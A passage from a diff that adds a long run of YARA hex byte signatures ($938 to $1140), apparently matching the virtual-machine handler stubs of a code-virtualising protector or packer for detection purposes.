+		$938 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+		$939 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+		$940 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+		$941 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+		$942 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+		$943 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+		$944 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+		$945 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+		$946 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+		$947 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$948 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+		$949 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+		$950 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$951 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 46 E9}
+		$952 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 46 66 89 45 00 E9}
+		$953 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+		$954 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 46 98 83 ED 04 89 45 00 E9}
+		$955 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+		$956 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+		$957 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 46 E9}
+		$958 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$959 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+		$960 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5F 5D 9D 58 59 59 5B 5E C3}
+		$961 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5B 5F 5E 9D 58 5D 59 5A C3}
+		$962 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 5F 58 5E 9D 5D 5F 5B C3}
+		$963 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 5A 5B 9D 5F 58 58 5D C3}
+		$964 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 9D 59 5F 5D 58 5E 5A 5B C3}
+		$965 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 59 5F 5E 9D 5D 5A 58 C3}
+		$966 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5B 58 5A 5B 5F 5E 9D 5D C3}
+		$967 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 9D 5F 5B 5A 5B 58 59 C3}
+		$968 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5B 5F 58 5E 59 5A 9D C3}
+		$969 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5E 5F 5D 5A 58 5B 9D 59 C3}
+		$970 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5D 5F 5B 9D 5A 5F C3}
+		$971 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5B 5D 5A 5F 59 5E 58 59 C3}
+		$972 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5F 5B 58 59 5D 5A 5E 9D C3}
+		$973 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$974 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+		$975 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+		$976 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$977 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$978 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$979 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 98 98 83 ED 04 89 45 00 E9}
+		$980 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$981 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$982 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+		$983 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$984 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$985 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$986 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$987 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+		$988 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 F7 D0 F7 D2 21 D0 89 45 04 9C 8F 45 00 E9}
+		$989 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9}
+		$990 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E0 89 45 04 9C 8F 45 00 E9}
+		$991 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$992 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$993 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+		$994 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$995 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$996 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$997 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 55 00 66 8B 45 00 83 ED 02 66 21 45 04 9C 8F 45 00 E9}
+		$998 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$999 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$1000 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$1001 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 36 8B 00 66 89 45 00 E9}
+		$1002 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1003 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$1004 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$1005 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+		$1006 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1007 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$1008 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1009 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1010 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$1011 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+		$1012 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1013 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$1014 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E0 66 89 45 04 9C 8F 45 00 E9}
+		$1015 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$1016 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$1017 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$1018 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$1019 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 36 89 10 E9}
+		$1020 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$1021 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+		$1022 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E8 66 89 45 04 9C 8F 45 00 E9}
+		$1023 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+		$1024 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$1025 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$1026 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5E 5D 5B 5B 9D 59 5F C3}
+		$1027 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$1028 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$1029 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+		$1030 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$1031 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1032 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$1033 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 46 E9}
+		$1034 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+		$1035 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$1036 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1037 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1038 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$1039 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1040 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1041 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$1042 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1043 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+		$1044 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+		$1045 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1046 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$1047 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$1048 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+		$1049 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1050 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1051 = {8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 A5 06 00 00 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$1052 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+		$1053 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 98 98 83 ED 04 89 45 00 E9}
+		$1054 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1055 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$1056 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+		$1057 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+		$1058 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+		$1059 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 46 E9}
+		$1060 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 46 89 45 00 E9}
+		$1061 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+		$1062 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+		$1063 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+		$1064 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+		$1065 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+		$1066 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+		$1067 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+		$1068 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+		$1069 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+		$1070 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+		$1071 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+		$1072 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 EE FE E9}
+		$1073 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$1074 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+		$1075 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+		$1076 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+		$1077 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$1078 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+		$1079 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+		$1080 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+		$1081 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 55 00 83 C5 04 89 14 07 E9}
+		$1082 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+		$1083 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5F 58 5A 9D 5D 5E 5E 5B C3}
+		$1084 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 5B 5F 5B 9D 58 5D 5A C3}
+		$1085 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 83 ED 02 66 01 45 04 9C 8F 45 00 E9}
+		$1086 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+		$1087 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+		$1088 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+		$1089 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+		$1090 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+		$1091 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$1092 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+		$1093 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+		$1094 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$1095 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+		$1096 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 EE FE E9}
+		$1097 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+		$1098 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+		$1099 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+		$1100 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+		$1101 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+		$1102 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+		$1103 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 EE FF E9}
+		$1104 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$1105 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1106 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1107 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$1108 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$1109 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+		$1110 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+		$1111 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+		$1112 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+		$1113 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1114 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1115 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1116 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$1117 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$1118 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$1119 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+		$1120 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1121 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1122 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1123 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$1124 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+		$1125 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$1126 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$1127 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$1128 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+		$1129 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+		$1130 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+		$1131 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+		$1132 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+		$1133 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+		$1134 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+		$1135 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+		$1136 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+		$1137 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$1138 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+		$1139 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+		$1140 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
